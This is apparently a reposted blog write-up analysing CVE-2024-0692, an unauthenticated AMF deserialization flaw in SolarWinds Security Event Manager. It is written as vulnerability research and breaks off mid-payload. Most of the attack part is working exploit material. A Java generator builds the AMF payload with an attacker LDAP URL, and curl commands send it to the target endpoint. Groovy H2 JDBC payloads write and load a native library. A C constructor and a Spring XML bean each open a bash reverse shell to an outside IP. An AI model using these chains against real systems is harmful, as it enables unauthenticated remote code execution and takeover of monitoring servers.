SolarWinds Security Event Manager AMF deserialization RCE - CVE-2024-0692 - Tutorial Boy -->

SolarWinds Security Event Manager AMF deserialization RCE - CVE-2024-0692

Introduction

I was scrolling through Twitter a few days ago and saw that ZDI posted a notice about SolarWinds Security Event Manager AMF deserialization RCE, so I prepared to do a brief analysis:

First, let’s talk about the process of getting the source code. The installation package of this product can be downloaded from the official website. It contains a Linux virtual machine in ova format and needs to be imported into VMware manually.

Then read the official documentation and you will know that the product itself provides the SSH function, but the Shell is a restricted cmcshell.


You can execute the top command in the appliance menu. It is observed that this is an application written in Java.


cmcshell itself has not found any place where commands can be injected, so it can only read the disk content through the vmdk file of the virtual machine to obtain the source code.

Here I am using DiskGenius. After searching, I found that the source code is located in the contego directory of the lem partition.

AMF deserialization

AMF (Action Message Format) deserialization basics

Simply put, it is a binary serialization protocol based on setter/getter. During the deserialization process, it will call the public parameterless constructor of the specified class, and then restore the relevant fields through the setter.

In addition, some articles will mention that AMF can only serialize/deserialize classes that implement the Serializable interface, but according to my actual testing, I found that it can also serialize/deserialize non-Serializable classes.

SolarWinds Security Event Manager uses Apache Flex BlazeDS, version 4.7.3


In version 4.7.3, AMF deserialization is officially disabled by default, and ClassDeserializationValidator is introduced to control the classes that can be deserialized https://github.com/apache/flex-blazeds/blob/develop/RELEASE_NOTES

Starting with 4.7.3 BlazeDS Deserialization of XML is disabled completely per default
but can easily be enabled in your services-config.xml:

    <channels>
        <channel-definition id="amf" class="mx.messaging.channels.AMFChannel">
            <endpoint url="http://{server.name}:{server.port}/{context.root}/messagebroker/amf"
                      class="flex.messaging.endpoints.AMFEndpoint"/>
            <properties>
                <serialization>
                    <allow-xml>true</allow-xml>
                </serialization>
            </properties>
        </channel-definition>
    </channels>

Also we now enable the ClassDeserializationValidator per default to only allow
deserialization of whitelisted classes. BlazeDS internally comes with the following
whitelist:

    flex.messaging.io.amf.ASObject
    flex.messaging.io.amf.SerializedObject
    flex.messaging.io.ArrayCollection
    flex.messaging.io.ArrayList
    flex.messaging.messages.AcknowledgeMessage
    flex.messaging.messages.AcknowledgeMessageExt
    flex.messaging.messages.AsyncMessage
    flex.messaging.messages.AsyncMessageExt
    flex.messaging.messages.CommandMessage
    flex.messaging.messages.CommandMessageExt
    flex.messaging.messages.ErrorMessage
    flex.messaging.messages.HTTPMessage
    flex.messaging.messages.RemotingMessage
    flex.messaging.messages.SOAPMessage
    java.lang.Boolean
    java.lang.Byte
    java.lang.Character
    java.lang.Double
    java.lang.Float
    java.lang.Integer
    java.lang.Long
    java.lang.Object
    java.lang.Short
    java.lang.String
    java.util.ArrayList
    java.util.Date
    java.util.HashMap
    org.w3c.dom.Document

If you need to deserialize any other classes, be sure to register them in your
services-config.xml:

    <validators>
        <validator class="flex.messaging.validators.ClassDeserializationValidator">
            <properties>
                <allow-classes>
                    <class name="org.mycoolproject.*"/>
                    <class name="flex.messaging.messages.*"/>
                    <class name="flex.messaging.io.amf.ASObject"/>
                </allow-classes>
            </properties>
        </validator>
    </validators>

(Beware, by manually providing a whitelist the default whitelist is disabled)

The relevant configuration is located in services-config.xml

For SolarWinds Security Event Manager, this file is located contego/run/tomcat/webapps/ROOT/WEB-INF/flex/services-config.xml

<?xml version="1.0" encoding="UTF-8"?>
<services-config>

    <services>
        <service-include file-path="remoting-config.xml" />
        <service-include file-path="proxy-config.xml" />
        <service-include file-path="messaging-config.xml" />
    </services>

    <security>
        <login-command class="com.solarwinds.lem.manager.flexui.login.LemFlexLoginCommand" server="Tomcat" />
        <security-constraint id="authenticated">
            <auth-method>Custom</auth-method>
            <roles>
            </roles>
        </security-constraint>
    </security>

    <channels>
        <!-- Non-Secure Non-polling AMF -->
        <channel-definition id="non-secure-non-polling-amf" class="mx.messaging.channels.AMFChannel">
            <endpoint url="http://{server.name}:8080/services/messagebroker/nonsecureamf" class="flex.messaging.endpoints.AMFEndpoint" />
            <properties>
                <add-no-cache-headers>false</add-no-cache-headers>
                <connect-timeout-seconds>120</connect-timeout-seconds>
                <login-after-disconnect>true</login-after-disconnect>
                <invalidate-session-on-disconnect>true</invalidate-session-on-disconnect>
                <serialization>
                    <allow-xml-external-entity-expansion>false</allow-xml-external-entity-expansion>
                    <allow-xml>true</allow-xml>
                </serialization>
            </properties>
        </channel-definition>

        <!-- None-Secure Streaming AMF -->
        <channel-definition id="non-secure-streaming-amf" class="mx.messaging.channels.StreamingAMFChannel">
            <endpoint url="http://{server.name}:8080/services/messagebroker/nonsecurestreamingamf" class="com.solarwinds.lem.flex.blazeds.ManagedStreamingAmfEndpoint" />
            <properties>
                <add-no-cache-headers>false</add-no-cache-headers>
                <connect-timeout-seconds>120</connect-timeout-seconds>
                <idle-timeout-minutes>0</idle-timeout-minutes>
                <server-to-client-heartbeat-millis>5000</server-to-client-heartbeat-millis>
                <invalidate-session-on-disconnect>true</invalidate-session-on-disconnect>
                <flex-client-outbound-queue-processor class="com.solarwinds.lem.flex.blazeds.ManagedBlazeDsOutboundQueueProcessor"></flex-client-outbound-queue-processor>
                <serialization>
                    <allow-xml-external-entity-expansion>false</allow-xml-external-entity-expansion>
                    <allow-xml>true</allow-xml>
                </serialization>
                <user-agent-settings>
                    <!-- Internet Explorer 11 -->
                    <user-agent match-on="Trident" kickstart-bytes="2048" max-persistent-connections-per-session="5"/>
                </user-agent-settings>
            </properties>
        </channel-definition>

        <!-- Secure Non-polling AMF -->
        <channel-definition id="secure-non-polling-amf" class="mx.messaging.channels.SecureAMFChannel">
            <endpoint url="https://{server.name}:8443/services/messagebroker/amf" class="flex.messaging.endpoints.SecureAMFEndpoint" />
            <properties>
                <add-no-cache-headers>false</add-no-cache-headers>
                <connect-timeout-seconds>120</connect-timeout-seconds>
                <login-after-disconnect>true</login-after-disconnect>
                <invalidate-session-on-disconnect>true</invalidate-session-on-disconnect>
                <serialization>
                    <allow-xml-external-entity-expansion>false</allow-xml-external-entity-expansion>
                    <allow-xml>true</allow-xml>
                </serialization>
            </properties>
        </channel-definition>

        <!-- Secure Streaming AMF -->
        <channel-definition id="secure-streaming-amf" class="mx.messaging.channels.SecureStreamingAMFChannel">
            <endpoint url="https://{server.name}:8443/services/messagebroker/streamingamf" class="com.solarwinds.lem.flex.blazeds.ManagedSecureStreamingAmfEndpoint" />
            <properties>
                <add-no-cache-headers>false</add-no-cache-headers>
                <connect-timeout-seconds>120</connect-timeout-seconds>
                <idle-timeout-minutes>0</idle-timeout-minutes>
                <invalidate-session-on-disconnect>true</invalidate-session-on-disconnect>
                <login-after-disconnect>true</login-after-disconnect>
                <server-to-client-heartbeat-millis>5000</server-to-client-heartbeat-millis>
                <flex-client-outbound-queue-processor class="com.solarwinds.lem.flex.blazeds.ManagedBlazeDsOutboundQueueProcessor"></flex-client-outbound-queue-processor>
                <serialization>
                    <allow-xml-external-entity-expansion>false</allow-xml-external-entity-expansion>
                    <allow-xml>true</allow-xml>
                </serialization>
                <user-agent-settings>
                    <!-- Internet Explorer 11 -->
                    <user-agent match-on="Trident" kickstart-bytes="2048" max-persistent-connections-per-session="5"/>
                </user-agent-settings>
            </properties>
        </channel-definition>
    </channels>

    <flex-client>
        <heartbeat-interval-millis>300000</heartbeat-interval-millis>
    </flex-client>

    <logging>
        <target class="flex.messaging.log.ConsoleTarget" level="WARN">
            <properties>
                <prefix>[BlazeDS] </prefix>
                <includeDate>true</includeDate>
                <includeTime>true</includeTime>
                <includeLevel>true</includeLevel>
                <includeCategory>true</includeCategory>
            </properties>
            <filters>
                <pattern>Endpoint.*</pattern>
                <pattern>Service.*</pattern>
                <pattern>Startup.*</pattern>
                <pattern>Client.*</pattern>
                <pattern>Message.*</pattern>
                <pattern>Protocol.*</pattern>
                <pattern>Security</pattern>
                <pattern>Timeout</pattern>
                <pattern>Configuration</pattern>
            </filters>
        </target>
    </logging>

    <system>
        <redeploy>
            <enabled>false</enabled>
        </redeploy>
    </system>

    <validators>
        <validator class="flex.messaging.validators.ClassDeserializationValidator">
            <properties>
                <allow-classes>
                    <class name=".*"/>
                </allow-classes>
            </properties>
        </validator>
    </validators>

</services-config>
According to the above XML configuration, we can know

  • Two Endpoints that process AMF data (there are also two 8080 ports but they are inaccessible)
  • https://{server.name}:8443/services/messagebroker/amf, corresponding toflex.messaging.endpoints.SecureAMFEndpoint
  • https://{server.name}:8443/services/messagebroker/streamingamf, corresponding tocom.solarwinds.lem.flex.blazeds.ManagedSecureStreamingAmfEndpoint
  • The allow-classes attribute of the validator tag is set to .*, which allows any class to be deserialized

Take ManagedSecureStreamingAmfEndpoint as an example

It parent class flex.messaging.endpoints.StreamingAMFEndpointwill create a FilterChain (chain of responsibility mode) when requested, which contains SerializationFilter


flex.messaging.endpoints.amf.SerializationFilter#invoke

The code is relatively long, and only part of the content is intercepted


This is a very obvious entry point for deserialization. Without any authentication measures, application/amf deserialization can be triggered by directly POST data and setting Content-Type to

 



The difficulty lies in the subsequent construction of Gadget

HikariCP JNDI injection

jar dependencies

$ tree lib
lib
├── HikariCP-java7-2.4.13.jar
├── asn-one-0.6.0.jar
├── axis-1.4.jar
├── axis-jaxrpc-1.4.jar
├── axis-wsdl4j-1.5.1.jar
├── bcpkix-jdk18on-1.76.jar
├── bcprov-jdk18on-1.76.jar
├── bcutil-jdk18on-1.76.jar
├── c3p0-0.9.5.4.jar
├── classmate-1.5.1.jar
├── commons-beanutils-1.9.4.jar
├── commons-cli-1.5.0.jar
├── commons-codec-1.15.jar
├── commons-collections4-4.4.jar
├── commons-compress-1.21.jar
├── commons-csv-1.9.0.jar
├── commons-dbutils-1.7.jar
├── commons-digester-2.1.jar
├── commons-discovery-0.2.jar
├── commons-exec-1.3.jar
├── commons-fileupload-1.5.jar
├── commons-httpclient-3.1.jar
├── commons-io-2.11.0.jar
├── commons-lang3-3.12.0.jar
├── commons-text-1.10.0.jar
├── ecj-3.21.0.jar
├── eddsa-0.3.0.jar
├── flex-messaging-common-4.7.3.jar
├── flex-messaging-core-4.7.3.jar
├── flex-messaging-proxy-4.7.3.jar
├── flex-messaging-remoting-4.7.3.jar
├── gen2-license-client-1.1.5.jar
├── guava-32.1.2-jre.jar
├── h2-2.1.214.jar
├── hibernate-validator-6.2.5.Final.jar
├── httpclient-4.5.13.jar
├── httpcore-4.4.14.jar
├── istack-commons-runtime-3.0.12.jar
├── jackson-annotations-2.15.2.jar
├── jackson-core-2.15.2.jar
├── jackson-databind-2.15.2.jar
├── jackson-datatype-jsr310-2.11.2.jar
├── jakarta-regexp-1.4.jar
├── jakarta.activation-1.2.2.jar
├── jakarta.activation-api-1.2.2.jar
├── jakarta.mail-1.6.7.jar
├── jakarta.validation-api-2.0.2.jar
├── jakarta.xml.bind-api-2.3.3.jar
├── jakarta.xml.soap-api-1.4.2.jar
├── jasperreports-6.20.5.jar
├── jasperreports-chart-themes-6.20.5.jar
├── jasperreports-fonts-6.20.5.jar
├── jasperreports-functions-6.20.5.jar
├── javax.annotation-api-1.3.2.jar
├── jaxb-runtime-2.3.6.jar
├── jaxb2-basics-runtime-0.12.0.jar
├── jboss-logging-3.4.1.Final.jar
├── jcl-over-slf4j-1.7.36.jar
├── jcommon-1.0.23.jar
├── jfreechart-1.0.19.jar
├── jna-5.12.1.jar
├── jna-platform-5.12.1.jar
├── jsch-0.1.54.jar
├── jtidy-4aug2000r7-dev-hudson-1.jar
├── jug-1.0.jar
├── jul-to-slf4j-1.7.36.jar
├── lem_actions.jar
├── lem_actors.jar
├── lem_agent.jar
├── lem_alerts.jar
├── lem_appliance-utils.jar
├── lem_client-messaging-api.jar
├── lem_commons.jar
├── lem_communication-config-agent.jar
├── lem_communication.jar
├── lem_configuration-manager.jar
├── lem_connector-core.jar
├── lem_connector-profile-templates.jar
├── lem_connector-updates.jar
├── lem_core-api.jar
├── lem_core.jar
├── lem_dashboards.jar
├── lem_data-signing.jar
├── lem_diagnostics.jar
├── lem_encryptfs-db.jar
├── lem_encryptfs.jar
├── lem_event-console-ui.jar
├── lem_event-console.jar
├── lem_expression-tree.jar
├── lem_fim-configuration.jar
├── lem_flex-services.jar
├── lem_flex-ui-module.jar
├── lem_groups.jar
├── lem_keyValue-store.jar
├── lem_ldap-service.jar
├── lem_ldap-utils.jar
├── lem_license-api.jar
├── lem_license-impl.jar
├── lem_liru.jar
├── lem_lucius-binary.jar
├── lem_lucius.jar
├── lem_mail.jar
├── lem_manager-agent-upgrade.jar
├── lem_manager-api.jar
├── lem_manager-connector-handler.jar
├── lem_manager-connector-settings.jar
├── lem_manager-impl.jar
├── lem_manager-old.jar
├── lem_manager.jar
├── lem_module-base.jar
├── lem_module-manager-client.jar
├── lem_module-manager-server.jar
├── lem_module-manager.jar
├── lem_module-storage.jar
├── lem_monitor-filter-statistics.jar
├── lem_monitoring.jar
├── lem_package-repository.jar
├── lem_phonehome.jar
├── lem_quartz-scheduler.jar
├── lem_rawsearch-manager.jar
├── lem_rawsearch-module.jar
├── lem_report.jar
├── lem_rules.jar
├── lem_search.jar
├── lem_sftp.jar
├── lem_solr-commons.jar
├── lem_solr.jar
├── lem_swip-mappers.jar
├── lem_swip.jar
├── lem_swis-rest-api.jar
├── lem_swis.jar
├── lem_tags.jar
├── lem_threat-feeds.jar
├── lem_tls-restriction.jar
├── lem_tns_apache-solr-core.jar
├── lem_tomcat-helper.jar
├── lem_tools.jar
├── lem_user-module-demo.jar
├── lem_user-module-ldap.jar
├── lem_user-module-legacy.jar
├── lem_user-module-local.jar
├── lem_user-module-sso.jar
├── lem_user-module-ui.jar
├── lem_user-module.jar
├── lem_user-repository.jar
├── lem_util.jar
├── lem_web-module.jar
├── lem_web-ui-module.jar
├── lem_websocket-client-messaging.jar
├── logback-classic-1.2.11.jar
├── logback-core-1.2.11.jar
├── lucene-analyzers-2.9.3.jar
├── lucene-analyzers-common-4.1.0.jar
├── lucene-codecs-4.1.0.jar
├── lucene-core-2.9.3.jar
├── lucene-core-4.1.0.jar
├── lucene-facet-4.1.0.jar
├── lucene-highlighter-2.9.3.jar
├── lucene-memory-2.9.3.jar
├── lucene-misc-2.9.3.jar
├── lucene-queries-2.9.3.jar
├── lucene-queries-4.1.0.jar
├── lucene-queryparser-4.1.0.jar
├── lucene-sandbox-4.1.0.jar
├── lucene-snowball-2.9.3.jar
├── lucene-spellchecker-2.9.3.jar
├── mssql-jdbc-7.2.1.jre8.jar
├── mybatis-3.5.11.jar
├── mybatis-spring-2.0.7.jar
├── netty-buffer-4.1.96.Final.jar
├── netty-codec-4.1.96.Final.jar
├── netty-common-4.1.96.Final.jar
├── netty-handler-4.1.96.Final.jar
├── netty-resolver-4.1.96.Final.jar
├── netty-transport-4.1.96.Final.jar
├── netty-transport-native-unix-common-4.1.96.Final.jar
├── network-error-handler-0.3.1.jar
├── o365-log-client-1.0.0.jar
├── ojdbc8-12.2.0.1.jar
├── openpdf-1.3.30.jaspersoft.2.jar
├── oro-2.0.8.jar
├── postgresql-42.6.0.jar
├── quartz-2.3.2.jar
├── saaj-impl-1.5.3.jar
├── slf4j-api-1.7.36.jar
├── snmp4j-3.5.1.jar
├── solr-commons-csv-1.4.1.jar
├── solr-solrj-1.4.1.jar
├── spring-aop-5.3.29.jar
├── spring-beans-5.3.29.jar
├── spring-context-5.3.29.jar
├── spring-context-support-5.3.29.jar
├── spring-core-5.3.29.jar
├── spring-expression-5.3.29.jar
├── spring-jcl-5.3.29.jar
├── spring-jdbc-5.3.29.jar
├── spring-ldap-core-2.4.1.jar
├── spring-messaging-5.3.29.jar
├── spring-oxm-5.3.29.jar
├── spring-security-config-5.8.5.jar
├── spring-security-core-5.8.5.jar
├── spring-security-crypto-5.8.5.jar
├── spring-security-kerberos-core-1.0.1.RELEASE.jar
├── spring-security-kerberos-web-1.0.1.RELEASE.jar
├── spring-security-messaging-5.8.5.jar
├── spring-security-web-5.8.5.jar
├── spring-tx-5.3.29.jar
├── spring-web-5.3.29.jar
├── spring-webmvc-5.3.29.jar
├── spring-websocket-5.3.29.jar
├── spring-ws-core-3.1.3.jar
├── spring-xml-3.1.3.jar
├── sshfactory-1.0.jar
├── sshj-0.36.0.jar
├── sslcontext-kickstart-7.4.9.jar
├── stax-ex-1.8.3.jar
├── swagger-annotations-1.6.6.jar
├── swip-2.0.2.jar
├── syslog-java-client-1.1.6-swi.1.jar
├── tomcat-api-8.5.93.jar
├── tomcat-catalina-8.5.93.jar
├── tomcat-coyote-8.5.93.jar
├── tomcat-el-api-8.5.93.jar
├── tomcat-jasper-el-8.5.93.jar
├── tomcat-jaspic-api-8.5.93.jar
├── tomcat-jni-8.5.93.jar
├── tomcat-juli-8.5.93.jar
├── tomcat-servlet-api-8.5.93.jar
├── tomcat-util-8.5.93.jar
├── tomcat-util-scan-8.5.93.jar
├── tomcat-websocket-8.5.93.jar
├── tomcat-websocket-api-8.5.93.jar
├── txw2-2.3.6.jar
└── xstream-1.4.20.jar

1 directory, 234 files

The target environment is Java 17, TemplatesImpl does not exist, and JdbcRowSetImpl will be inaccessible due to Java modularity.

Although commons-beanutils and commons-collections4 exist, the process of AMF deserialization is to call the public parameterless constructor + setter assignment. The entry point is not readObject and cannot be used.

The idea of ​​using high-version JDK deserialization is generally to implement RCE through JDBC attacks. Therefore, you can look for some gadgets that can directly initiate JDBC connections, or obtain JNDI injection first, and then initiate JDBC connections through JNDI.

Notice that HikariCP dependency exists in the environment, it is easy to get com.zaxxer.hikari.HikariConfigthis class

Classic JNDI injection

package com.example;

import com.zaxxer.hikari.HikariConfig;
import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.*;
import flex.messaging.validators.ClassDeserializationValidator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Demo {
    public static void main(String[] args) throws Exception {

        HikariConfig config = new HikariConfig();
        Field f = HikariConfig.class.getDeclaredField("metricRegistry");
        f.setAccessible(true);
        f.set(config, "ldap://100.109.34.110:1389/x");

        byte[] data = serialize(config);
        deserialize(data);
        Files.write(Paths.get("/Users/exp10it/payload.amf"), data);
    }

    public static byte[] serialize(Object data) throws Exception {
        MessageBody body = new MessageBody();
        body.setData(data);
        ActionMessage message = new ActionMessage();
        message.addBody(body);
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        AmfMessageSerializer serializer = new AmfMessageSerializer();
        serializer.initialize(SerializationContext.getSerializationContext(), out, null);
        serializer.writeMessage(message);
        return out.toByteArray();
    }

    public static ActionMessage deserialize(byte[] amf) throws Exception {
        ByteArrayInputStream in = new ByteArrayInputStream(amf);
        AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
        SerializationContext context = SerializationContext.getSerializationContext();
        ClassDeserializationValidator validator = new ClassDeserializationValidator();
        validator.addAllowClassPattern(".*");
        context.setDeserializationValidator(validator);
        deserializer.initialize(context, in, null);
        ActionMessage actionMessage = new ActionMessage();
        deserializer.readMessage(actionMessage, new ActionContext());
        return actionMessage;
    }
}
Send the generated payload.amf to the target server to receive the JNDI request
curl https://192.168.30.131:8443/services/messagebroker/streamingamf -k -H "Content-Type: application/amf" --data-binary @payload.amf --output -

Restricted JDBC H2 RCE

Utilization Ideas

Later, I originally wanted to use Java native deserialization through JNDI injection, but I couldn't find a suitable gadget.

commons-collections4 is the latest version 4.4. This version makes a series of Transformers including InvokerTransformer no longer implement the Serializable interface and cannot be deserialized.

Although commons-beanutils can be used, without TemplatesImpl, other getter gadgets will not be found for a while.

So I turned to JDBC and observed that the environment had H2 dependencies, so I could try H2 RCE.

First, you need to convert JNDI into a JDBC attack, reference: https://tttang.com/archive/1405/

Similarly, there are similar classes that implement the ObjectFactory interface in HikariCP, that is com.zaxxer.hikari.HikariJNDIFactory, its getObjectInstance method will initiate a JDBC connection.



https://github.com/X1r0z/JNDIMap/blob/main/src/main/java/map/jndi/controller/database/HikariCPController.java#L21

Reference ref = new Reference("javax.sql.DataSource", "com.zaxxer.hikari.HikariJNDIFactory", null);
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"))
ref.add(new StringRefAddr("jdbcUrl", url))
return ref;                                                        |

Then there is H2 database RCE, there are three methods: CREATE ALIAS + Java/Groovy, CREATE TRIGGER + JavaScript

However, it cannot be used successfully in the target environment.

CREATE TRIGGER + JavaScript will prompt a syntax error

This is because the Nashorn JavaScript engine that comes with Java has been removed after Java 15, and the target environment uses Java 17



There is no Groovy dependency in the environment, so CREATE ALIAS + Groovy will also report an error.


CREATE ALIAS + Java also reported an error, which is more interesting.

As mentioned at the beginning, the built-in Java 17 of the virtual machine does not have the javac command, so the Java source code cannot be dynamically compiled through the CREATE ALIAS statement.


But in fact, looking through the documentation, we can see that H2's CREATE ALIAS can still call the public static method of a public class located in the classpath, which is similar to Oracle.



Directly give me two ideas for utilization:

Write file + System.load

  • Create temporary files using File.createTempFile
  • Use commons-io's FileUtils to write files in chunks
  • Use MethodUtils of commons-beanutils to reflect and call instance/static methods
  • Use System.load to load dynamic link libraries
ClassPathXmlApplicationContext

  • Instantiate ClassPathXmlApplicationContext using ConstructorUtils of commons-beanutils
  • Call ProcessBuilder.start in XML to execute the command

File Write + System.load

payload (Groovy)

import javax.naming.Reference
import javax.naming.StringRefAddr

// SolarWinds Security Event Manager AMF Deserialization RCE (CVE-2024-0692)
// file write + System.load

def prefix = 'test'
def lib_path = '/Users/exp10it/exp.so'

def list = []

// drop the previous alias if exists
list << "DROP ALIAS IF EXISTS CREATE_FILE"
list << "DROP ALIAS IF EXISTS WRITE_FILE"
list << "DROP ALIAS IF EXISTS INVOKE_METHOD"
list << "DROP ALIAS IF EXISTS INVOKE_STATIC_METHOD"
list << "DROP ALIAS IF EXISTS CLASS_FOR_NAME"

// alias some external Java methods
list << "CREATE ALIAS CREATE_FILE FOR 'java.io.File.createTempFile(java.lang.String, java.lang.String)'"
list << "CREATE ALIAS WRITE_FILE FOR 'org.apache.commons.io.FileUtils.writeByteArrayToFile(java.io.File, byte[], boolean)'"
list << "CREATE ALIAS INVOKE_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeMethod(java.lang.Object, java.lang.String, java.lang.Object)'"
list << "CREATE ALIAS INVOKE_STATIC_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeExactStaticMethod(java.lang.Class, java.lang.String, java.lang.Object)'"
list << "CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)'"

// use java.io.File.createTempFile() to create a blank file with `.so` extension
list << "SET @file=CREATE_FILE('$prefix', '.so')"

// read native library file and encode it to hex
def content = new File(lib_path).bytes.encodeHex().toString()
// split it into several chunks to avoid SQL length limit
def data = content.toList().collate(500)*.join()

// write the chunks to the file (append mode)
for (d in data) {
   list << "CALL WRITE_FILE(@file, X'$d', TRUE)"
}

// invoke file.getAbsolutePath() to get the absolute path of the temp file
list << "SET @path=INVOKE_METHOD(@file, 'getAbsolutePath', NULL)"
// invoke java.lang.System.load() to load the native library
list << "SET @clazz=CLASS_FOR_NAME('java.lang.System')"
list << "CALL INVOKE_STATIC_METHOD(@clazz, 'load', @path)"

// use INIT property to execute multi SQL statements, and each statement must be separated by `\;`
def url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=${list.join('\\;')}\\;"

def ref = new Reference("javax.sql.DataSource", "com.zaxxer.hikari.HikariJNDIFactory", null)
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
ref.add(new StringRefAddr("jdbcUrl", url));

return ref


Here are a few points to note

First of all, because of the modular mechanism introduced in Java 9, you cannot directly use com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilenameit to write files, so you need to find a static method from a third-party dependency that can write 

org.apache.commons.io.FileUtils#writeByteArrayToFile(java.io.File, byte[], boolean)
public static void writeByteArrayToFile(File file, byte[] data, boolean append) throws IOException {
    writeByteArrayToFile(file, data, 0, data.length, append);
}

But this method requires a File object, so you have to find a static method that can return a File object.

java.io.File#createTempFile(java.lang.String, java.lang.String, java.io.File)
public static File createTempFile(String prefix, String suffix,
                                  File directory)
    throws IOException
{
    if (prefix.length() < 3) {
        throw new IllegalArgumentException("Prefix string \"" + prefix +
            "\" too short: length must be at least 3");
    }
    if (suffix == null)
        suffix = ".tmp";

    File tmpdir = (directory != null) ? directory
                                      : TempDirectory.location();
    @SuppressWarnings("removal")
    SecurityManager sm = System.getSecurityManager();
    File f;
    do {
        f = TempDirectory.generateFile(prefix, suffix, tmpdir);

        if (sm != null) {
            try {
                sm.checkWrite(f.getPath());
            } catch (SecurityException se) {
                // don't reveal temporary directory location
                if (directory == null)
                    throw new SecurityException("Unable to create temporary file");
                throw se;
            }
        }
    } while (fs.hasBooleanAttributes(f, FileSystem.BA_EXISTS));

    if (!fs.createFileExclusively(f.getPath()))
        throw new IOException("Unable to create temporary file");

    return f;
}

Then CREATE ALIAS itself can only call static methods, which is too restrictive. You need to find a static method that can call instance methods (for subsequent calls to getAbsolutePath to obtain the file path of the File object)

org.apache.commons.beanutils.MethodUtils#invokeMethod(java.lang.Object, java.lang.String, java.lang.Object)
org.apache.commons.beanutils.MethodUtils#invokeStaticMethod(java.lang.Class<?>, java.lang.String, java.lang.Object)
public static Object invokeMethod(Object object, String methodName, Object arg) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
    Object[] args = toArray(arg);
    return invokeMethod(object, methodName, args);
}

public static Object invokeStaticMethod(Class<?> objectClass, String methodName, Object arg) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
    Object[] args = toArray(arg);
    return invokeStaticMethod(objectClass, methodName, args);
}

There will definitely be a question here. Since instance methods can be called, why not directly java.lang.Runtime.getRuntime().exec(cmd)?

As we all know, if a database supports calling external methods, then there must be a mapping between the database type and the external type.

In H2, Java's java.lang.Object type corresponds to the database JAVA_OBJECTtype


JAVA_OBJECTThe corresponding Java object must be serializable (Serializable)

If it is to be executed java.lang.Runtime.getRuntime().exec(cmd), the SQL statement is as follows

CREATE ALIAS INVOKE_STATIC_METHOD FOR '...'
CREATE ALIAS INVOKE_METHOD FOR '...'
CREATE ALIAS CLASS_FOR_NAME FOR '...'

SET @clazz=CLASS_FOR_NAME('java.lang.Runtime')
SET @runtime=INVOKE_STATIC_METHOD(@clazz, 'getRuntime', NULL)
CALL INVOKE_METHOD(@runtime, 'exec', 'open -a Calculator')

The Class object and Runtime object returned by the JVM during the above process will be serialized and stored in the clazz and runtime variables of the H2 database (type JAVA_OBJECT:)

However, java.lang.Runtime does not implement the Serializable interface, so the SQL statement will report an error, that is, it is necessary to ensure that all variables used in the process are serializable.

As for why we need to find an invokeStaticMethod that calls static methods through reflection, this is because the type of the temporary file path returned by calling getAbsolutePath through invokeMethod above is java.lang.Object (actually java.lang.String)

However, H2 does not support JAVA_OBJECTtype conversion with VARCHAR (CHARACTER VARYING), so the path cannot be passed in as a parameter.java.lang.System.load(java.lang.String)

Therefore, you need to find a static method (invokeStaticMethod) with a parameter type of java.lang.Object, and then indirectly call System.load through this method, and then load the dynamic link library to implement RCE.

Finally, please note that the compiled .so is relatively large, and the length of the string after being converted to Hex is too long. If you write it directly, an error will be reported, and you need to write it in chunks.

Utilization process:

First write exp.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/100.109.34.110/4444 0>&1'");
}

compile

# Linux amd64
gcc -shared -fPIC exp.c -o exp.so
Generate payload.amf based on the previous code

Then save the Groovy payload and run JNDIMap

java -jar JNDIMap.jar -f scripts/solarwinds-amf-rce-1.groovy -u "/Custom/x"

curl sends amf payload

curl https://192.168.30.131:8443/services/messagebroker/streamingamf -k -H "Content-Type: application/amf" --data-binary @payload.amf --output -


ClassPathXmlApplicationContext

import map.jndi.server.WebServer

import javax.naming.Reference
import javax.naming.StringRefAddr

// SolarWinds Security Event Manager AMF Deserialization RCE (CVE-2024-0692)
// instantiate ClassPathXmlApplicationContext

def list = []

// drop the previous alias if exists
list << "DROP ALIAS IF EXISTS INVOKE_CONSTRUCTOR"
list << "DROP ALIAS IF EXISTS INVOKE_METHOD"
list << "DROP ALIAS IF EXISTS URI_CREATE";
list << "DROP ALIAS IF EXISTS CLASS_FOR_NAME"

// alias some external Java methods
list << "CREATE ALIAS INVOKE_CONSTRUCTOR FOR 'org.apache.commons.beanutils.ConstructorUtils.invokeConstructor(java.lang.Class, java.lang.Object)'"
list << "CREATE ALIAS INVOKE_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeMethod(java.lang.Object, java.lang.String, java.lang.Object)'"
list << "CREATE ALIAS URI_CREATE FOR 'java.net.URI.create(java.lang.String)'"
list << "CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)'"

// Spring XML content
def content = '''<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[bash -i >& /dev/tcp/100.109.34.110/4444 0>&1]]></value>
            </list>
            </constructor-arg>
        </bean>
    </beans>
'''

// host the xml on a web server
def server = WebServer.getInstance()
server.serveFile("/exp.xml", content.getBytes())

def xml_url = "http://$server.ip:$server.port/exp.xml"

// invoke URI.create() to create a URI object
list << "SET @uri=URI_CREATE('$xml_url')"
// invoke uri.toString() to transform the type of `xml_url` (from java.lang.String to java.lang.Object) to avoid H2 SQL convert error
// because the return type of INVOKE_METHOD is java.lang.Object
list << "SET @xml_url_obj=INVOKE_METHOD(@uri, 'toString', NULL)"
